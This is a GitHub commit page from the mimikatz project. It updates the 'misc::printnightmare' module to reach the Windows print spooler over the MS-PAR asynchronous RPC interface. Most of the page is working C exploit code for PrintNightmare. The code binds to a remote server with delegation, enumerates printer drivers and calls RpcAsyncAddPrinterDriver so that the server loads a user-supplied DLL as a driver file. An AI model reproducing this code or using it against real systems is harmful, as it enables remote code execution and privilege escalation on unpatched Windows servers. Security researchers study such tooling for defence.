Skip to content

Commit

Permalink
[new] mimikatz misc::printnightmare now uses [ms-par] instead of [ms-…
Browse files Browse the repository at this point in the history
…rprn], thank you @cube0x0
  • Loading branch information
gentilkiwi committed Jul 4, 2021
1 parent c212760 commit 9ad02da
Show file tree
Hide file tree
Showing 6 changed files with 254 additions and 32 deletions.
2 changes: 2 additions & 0 deletions mimikatz/mimikatz.vcxproj
Original file line number Diff line number Diff line change
Expand Up @@ -157,6 +157,7 @@
<ClCompile Include="..\modules\kull_m_string.c" />
<ClCompile Include="..\modules\kull_m_token.c" />
<ClCompile Include="..\modules\kull_m_xml.c" />
<ClCompile Include="..\modules\rpc\kull_m_rpc_ms-par_c.c" />
<ClCompile Include="..\modules\rpc\kull_m_rpc_ms-rprn.c" />
<ClCompile Include="..\modules\sqlite3.c">
<PreprocessorDefinitions>SQLITE_UNTESTABLE;SQLITE_DISABLE_INTRINSIC;SQLITE_OMIT_LOCALTIME;SQLITE_DQS=0;SQLITE_THREADSAFE=0;SQLITE_DEFAULT_MEMSTATUS=0;SQLITE_DEFAULT_WAL_SYNCHRONOUS=1;SQLITE_LIKE_DOESNT_MATCH_BLOBS;SQLITE_MAX_EXPR_DEPTH=0;SQLITE_OMIT_DECLTYPE;SQLITE_OMIT_DEPRECATED;SQLITE_OMIT_PROGRESS_CALLBACK;SQLITE_OMIT_SHARED_CACHE;SQLITE_USE_ALLOCA;SQLITE_OMIT_OR_OPTIMIZATION;SQLITE_OMIT_LIKE_OPTIMIZATION;SQLITE_OMIT_BETWEEN_OPTIMIZATION;SQLITE_OMIT_TRUNCATE_OPTIMIZATION;SQLITE_OMIT_TCL_VARIABLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
Expand Down Expand Up @@ -275,6 +276,7 @@
<ClInclude Include="..\modules\kull_m_string.h" />
<ClInclude Include="..\modules\kull_m_token.h" />
<ClInclude Include="..\modules\kull_m_xml.h" />
<ClInclude Include="..\modules\rpc\kull_m_rpc_ms-par.h" />
<ClInclude Include="..\modules\rpc\kull_m_rpc_ms-rprn.h" />
<ClInclude Include="..\modules\sqlite3.h" />
<ClInclude Include="mimikatz.h" />
Expand Down
6 changes: 6 additions & 0 deletions mimikatz/mimikatz.vcxproj.filters
Original file line number Diff line number Diff line change
Expand Up @@ -323,6 +323,9 @@
<ClCompile Include="..\modules\kull_m_crypto_remote.c">
<Filter>common modules</Filter>
</ClCompile>
<ClCompile Include="..\modules\rpc\kull_m_rpc_ms-par_c.c">
<Filter>common modules\rpc</Filter>
</ClCompile>
</ItemGroup>
<ItemGroup>
<ClInclude Include="mimikatz.h" />
Expand Down Expand Up @@ -665,6 +668,9 @@
<ClInclude Include="..\modules\kull_m_crypto_remote.h">
<Filter>common modules</Filter>
</ClInclude>
<ClInclude Include="..\modules\rpc\kull_m_rpc_ms-par.h">
<Filter>common modules\rpc</Filter>
</ClInclude>
</ItemGroup>
<ItemGroup>
<Filter Include="local modules">
Expand Down
72 changes: 42 additions & 30 deletions mimikatz/modules/kuhl_m_misc.c
Original file line number Diff line number Diff line change
Expand Up @@ -1403,7 +1403,9 @@ NTSTATUS kuhl_m_misc_spooler(int argc, wchar_t * argv[])

NTSTATUS kuhl_m_misc_printnightmare(int argc, wchar_t * argv[])
{
LPCWSTR szRemote, szLibrary, szTry, szShortLibrary;
RPC_BINDING_HANDLE hBinding;
RPC_STATUS rpcStatus;
LPCWSTR szRemote, szService, szLibrary, szTry, szShortLibrary;
LPWSTR szSystem32, szDriver, szKernelBase, szDriverPath;
DRIVER_INFO_2 DriverInfo = {3, L"QMS 810",
#if defined(_M_X64) || defined(_M_ARM64)
Expand All @@ -1412,7 +1414,8 @@ NTSTATUS kuhl_m_misc_printnightmare(int argc, wchar_t * argv[])
L"Windows x86"
#endif
, NULL, NULL, NULL};
DWORD limit, i;
DWORD AuthnSvc, limit, i;
SEC_WINNT_AUTH_IDENTITY secIdentity = {NULL, 0, NULL, 0, NULL, 0, SEC_WINNT_AUTH_IDENTITY_UNICODE};

if(kull_m_string_args_byName(argc, argv, L"server", &szRemote, NULL) || kull_m_string_args_byName(argc, argv, L"target", &szRemote, NULL))
{
Expand All @@ -1423,48 +1426,57 @@ NTSTATUS kuhl_m_misc_printnightmare(int argc, wchar_t * argv[])
{
szShortLibrary++;
kprintf(L"| Remote : %s\n", szRemote);
if(kull_m_rpc_createBinding(NULL, L"ncacn_np", szRemote, L"\\pipe\\spoolss", L"spooler", TRUE, RPC_C_AUTHN_DEFAULT, NULL, RPC_C_IMP_LEVEL_DELEGATE, &hSpoolHandle, NULL))

kull_m_rpc_getArgs(argc, argv, NULL, NULL, NULL, &szService, L"host", &AuthnSvc, ((MIMIKATZ_NT_MAJOR_VERSION < 6) ? RPC_C_AUTHN_GSS_KERBEROS : RPC_C_AUTHN_GSS_NEGOTIATE), NULL, &secIdentity, NULL, TRUE);
if(kull_m_rpc_createBinding(NULL, L"ncacn_ip_tcp", szRemote, NULL, szService, TRUE, AuthnSvc, secIdentity.UserLength ? &secIdentity : NULL, RPC_C_IMP_LEVEL_DELEGATE, &hBinding, NULL))
{
if(kuhl_m_misc_printnightmare_CallEnumPrintersAndFindSuitablePath(DriverInfo.pEnvironment, &szSystem32, &szDriver))
rpcStatus = RpcBindingSetObject(hBinding, (UUID *) &PAR_ObjectUUID);
if(rpcStatus == RPC_S_OK)
{
if(kull_m_string_sprintf(&szKernelBase, L"%skernelbase.dll", szSystem32))
if(kuhl_m_misc_printnightmare_CallEnumPrintersAndFindSuitablePath(hBinding, DriverInfo.pEnvironment, &szSystem32, &szDriver))
{
kprintf(L"* KernelBase: %s\n", szKernelBase);
if(kull_m_string_sprintf(&szDriverPath, L"%sunidrv.dll", szDriver))
if(kull_m_string_sprintf(&szKernelBase, L"%skernelbase.dll", szSystem32))
{
DriverInfo.pDriverPath = szDriverPath;
DriverInfo.pDataFile = (LPWSTR) szLibrary;
kprintf(L"* DriverPath: %s\n", DriverInfo.pDriverPath);
kprintf(L"| DataFile : %s (%s)\n", DriverInfo.pDataFile, szShortLibrary);
if(kuhl_m_misc_printnightmare_CallAddPrinterDriverEx(szSystem32, &DriverInfo, 0, szKernelBase) == ERROR_SUCCESS)
kprintf(L"* KernelBase: %s\n", szKernelBase);
if(kull_m_string_sprintf(&szDriverPath, L"%sunidrv.dll", szDriver))
{
if(kuhl_m_misc_printnightmare_CallAddPrinterDriverEx(szSystem32, &DriverInfo, 0, szKernelBase) == ERROR_SUCCESS)
DriverInfo.pDriverPath = szDriverPath;
DriverInfo.pDataFile = (LPWSTR) szLibrary;
kprintf(L"* DriverPath: %s\n", DriverInfo.pDriverPath);
kprintf(L"| DataFile : %s (%s)\n", DriverInfo.pDataFile, szShortLibrary);

if(kuhl_m_misc_printnightmare_CallAddPrinterDriverEx(hBinding, szSystem32, &DriverInfo, 0, szKernelBase) == ERROR_SUCCESS)
{
if(kuhl_m_misc_printnightmare_CallAddPrinterDriverEx(szSystem32, &DriverInfo, 2, szShortLibrary) != ERROR_SUCCESS)
if(kuhl_m_misc_printnightmare_CallAddPrinterDriverEx(hBinding, szSystem32, &DriverInfo, 0, szKernelBase) == ERROR_SUCCESS)
{
if(kull_m_string_args_byName(argc, argv, L"try", &szTry, NULL))
if(kuhl_m_misc_printnightmare_CallAddPrinterDriverEx(hBinding, szSystem32, &DriverInfo, 2, szShortLibrary) != ERROR_SUCCESS)
{
limit = wcstoul(szTry, NULL, 0);
kprintf(L" | Trying : 3 to %u\n", limit);
for(i = 3; i <= limit; i++)
if(kull_m_string_args_byName(argc, argv, L"try", &szTry, NULL))
{
if(kuhl_m_misc_printnightmare_CallAddPrinterDriverEx(szSystem32, &DriverInfo, i, szShortLibrary) == ERROR_SUCCESS)
limit = wcstoul(szTry, NULL, 0);
kprintf(L" | Trying : 3 to %u\n", limit);
for(i = 3; i <= limit; i++)
{
break;
if(kuhl_m_misc_printnightmare_CallAddPrinterDriverEx(hBinding, szSystem32, &DriverInfo, i, szShortLibrary) == ERROR_SUCCESS)
{
break;
}
}
}
}
}
}
LocalFree(szDriverPath);
}
LocalFree(szDriverPath);
LocalFree(szKernelBase);
}
LocalFree(szKernelBase);
LocalFree(szSystem32);
LocalFree(szDriver);
}
LocalFree(szSystem32);
LocalFree(szDriver);
}
kull_m_rpc_deleteBinding(&hSpoolHandle);
else PRINT_ERROR(L"RpcBindingSetObject: 0x%08x (%u)\n", rpcStatus, rpcStatus);

kull_m_rpc_deleteBinding(&hBinding);
}
}
else PRINT_ERROR(L"Unable to get short library name from library path (%s)\n", szLibrary);
Expand All @@ -1476,7 +1488,7 @@ NTSTATUS kuhl_m_misc_printnightmare(int argc, wchar_t * argv[])
return STATUS_SUCCESS;
}

BOOL kuhl_m_misc_printnightmare_CallEnumPrintersAndFindSuitablePath(LPCWSTR szEnvironment, LPWSTR *szSystem32, LPWSTR *szDriver)
BOOL kuhl_m_misc_printnightmare_CallEnumPrintersAndFindSuitablePath(handle_t hRemoteBinding, LPCWSTR szEnvironment, LPWSTR *szSystem32, LPWSTR *szDriver)
{
BOOL status = FALSE;
DWORD ret, i, cbNeeded = 0, cReturned = 0;
Expand All @@ -1487,13 +1499,13 @@ BOOL kuhl_m_misc_printnightmare_CallEnumPrintersAndFindSuitablePath(LPCWSTR szEn
{
RpcTryExcept
{
ret = RpcEnumPrinterDrivers(NULL, (wchar_t *) szEnvironment, 2, NULL, 0, &cbNeeded, &cReturned);
ret = RpcAsyncEnumPrinterDrivers(hRemoteBinding, NULL, (wchar_t *) szEnvironment, 2, NULL, 0, &cbNeeded, &cReturned);
if(ret == ERROR_INSUFFICIENT_BUFFER)
{
pDriverInfo = (_PDRIVER_INFO_2) LocalAlloc(LPTR, cbNeeded);
if(pDriverInfo)
{
ret = RpcEnumPrinterDrivers(NULL, (wchar_t *) szEnvironment, 2, (BYTE *) pDriverInfo, cbNeeded, &cbNeeded, &cReturned);
ret = RpcAsyncEnumPrinterDrivers(hRemoteBinding, NULL, (wchar_t *) szEnvironment, 2, (BYTE *) pDriverInfo, cbNeeded, &cbNeeded, &cReturned);
if(ret == ERROR_SUCCESS)
{
for(i = 0; (i < cReturned) && !status; i++)
Expand Down Expand Up @@ -1535,7 +1547,7 @@ BOOL kuhl_m_misc_printnightmare_CallEnumPrintersAndFindSuitablePath(LPCWSTR szEn
return status;
}

DWORD kuhl_m_misc_printnightmare_CallAddPrinterDriverEx(LPCWSTR szSystem32, PDRIVER_INFO_2 pInfo2, DWORD dwStep, LPCWSTR pConfigFile)
DWORD kuhl_m_misc_printnightmare_CallAddPrinterDriverEx(handle_t hRemoteBinding, LPCWSTR szSystem32, PDRIVER_INFO_2 pInfo2, DWORD dwStep, LPCWSTR pConfigFile)
{
DWORD ret;
DRIVER_CONTAINER container_info;
Expand Down Expand Up @@ -1567,7 +1579,7 @@ DWORD kuhl_m_misc_printnightmare_CallAddPrinterDriverEx(LPCWSTR szSystem32, PDRI
kprintf(L"> ConfigFile: %s - ", pInfo2->pConfigFile);
RpcTryExcept
{
ret = RpcAddPrinterDriverEx(NULL, &container_info, APD_COPY_ALL_FILES | APD_COPY_FROM_DIRECTORY | 0x8000); // APD_INSTALL_WARNED_DRIVER
ret = RpcAsyncAddPrinterDriver(hRemoteBinding, NULL, &container_info, APD_COPY_ALL_FILES | APD_COPY_FROM_DIRECTORY | 0x8000); // APD_INSTALL_WARNED_DRIVER
if (ret == ERROR_SUCCESS)
{
kprintf(L"OK!\n");
Expand Down
5 changes: 3 additions & 2 deletions mimikatz/modules/kuhl_m_misc.h
Original file line number Diff line number Diff line change
Expand Up @@ -14,6 +14,7 @@
#include "../../modules/kull_m_crypto_system.h"
#include "../../modules/kull_m_crypto_ngc.h"
#include "../../modules/rpc/kull_m_rpc_ms-rprn.h"
#include "../../modules/rpc/kull_m_rpc_ms-par.h"
#include <fltUser.h>
#include <sql.h>
#pragma warning(push)
Expand Down Expand Up @@ -47,8 +48,8 @@ NTSTATUS kuhl_m_misc_spooler(int argc, wchar_t * argv[]);
NTSTATUS kuhl_m_misc_printnightmare(int argc, wchar_t * argv[]);
NTSTATUS kuhl_m_misc_sccm_accounts(int argc, wchar_t * argv[]);

BOOL kuhl_m_misc_printnightmare_CallEnumPrintersAndFindSuitablePath(LPCWSTR szEnvironment, LPWSTR *szSystem32, LPWSTR *szDriver);
DWORD kuhl_m_misc_printnightmare_CallAddPrinterDriverEx(LPCWSTR szSystem32, PDRIVER_INFO_2 pInfo2, DWORD dwStep, LPCWSTR pConfigFile);
BOOL kuhl_m_misc_printnightmare_CallEnumPrintersAndFindSuitablePath(handle_t hRemoteBinding, LPCWSTR szEnvironment, LPWSTR *szSystem32, LPWSTR *szDriver);
DWORD kuhl_m_misc_printnightmare_CallAddPrinterDriverEx(handle_t hRemoteBinding, LPCWSTR szSystem32, PDRIVER_INFO_2 pInfo2, DWORD dwStep, LPCWSTR pConfigFile);

BOOL CALLBACK kuhl_m_misc_detours_callback_process(PSYSTEM_PROCESS_INFORMATION pSystemProcessInformation, PVOID pvArg);
BOOL CALLBACK kuhl_m_misc_detours_callback_module(PKULL_M_PROCESS_VERY_BASIC_MODULE_INFORMATION pModuleInformation, PVOID pvArg);
Expand Down
46 changes: 46 additions & 0 deletions modules/rpc/kull_m_rpc_ms-par.h
Original file line number Diff line number Diff line change
@@ -0,0 +1,46 @@
#pragma once
#include "kull_m_rpc.h"
#include "kull_m_rpc_ms-rprn.h"

const UUID PAR_ObjectUUID;

typedef struct _SPLCLIENT_INFO_1 {
DWORD dwSize;
DWORD dwBuildNum;
DWORD dwMajorVersion;
DWORD dwMinorVersion;
unsigned short wProcessorArchitecture;
} SPLCLIENT_INFO_1;

typedef struct _SPLCLIENT_INFO_2 {
LONG_PTR notUsed;
} SPLCLIENT_INFO_2;

typedef struct _SPLCLIENT_INFO_3 {
unsigned int cbSize;
DWORD dwFlags;
DWORD dwSize;
wchar_t *pMachineName;
wchar_t *pUserName;
DWORD dwBuildNum;
DWORD dwMajorVersion;
DWORD dwMinorVersion;
unsigned short wProcessorArchitecture;
unsigned __int64 hSplPrinter;
} SPLCLIENT_INFO_3;

typedef struct _SPLCLIENT_CONTAINER {
DWORD Level;
union {
SPLCLIENT_INFO_1 *pClientInfo1;
SPLCLIENT_INFO_2 *pNotUsed;
SPLCLIENT_INFO_3 *pClientInfo3;
} ClientInfo;
} SPLCLIENT_CONTAINER;

DWORD RpcAsyncOpenPrinter(handle_t hRemoteBinding, wchar_t *pPrinterName, PRINTER_HANDLE *pHandle, wchar_t *pDatatype, DEVMODE_CONTAINER *pDevModeContainer, DWORD AccessRequired, SPLCLIENT_CONTAINER *pClientInfo);
DWORD RpcAsyncClosePrinter(PRINTER_HANDLE *phPrinter);
DWORD RpcAsyncAddPrinterDriver(handle_t hRemoteBinding, wchar_t *pName, DRIVER_CONTAINER *pDriverContainer, DWORD dwFileCopyFlags);
DWORD RpcAsyncEnumPrinterDrivers(handle_t hRemoteBinding, wchar_t *pName, wchar_t *pEnvironment, DWORD Level, unsigned char *pDrivers, DWORD cbBuf, DWORD *pcbNeeded, DWORD *pcReturned);

extern RPC_IF_HANDLE IRemoteWinspool_v1_0_c_ifspec;
Loading

0 comments on commit 9ad02da

Please sign in to comment.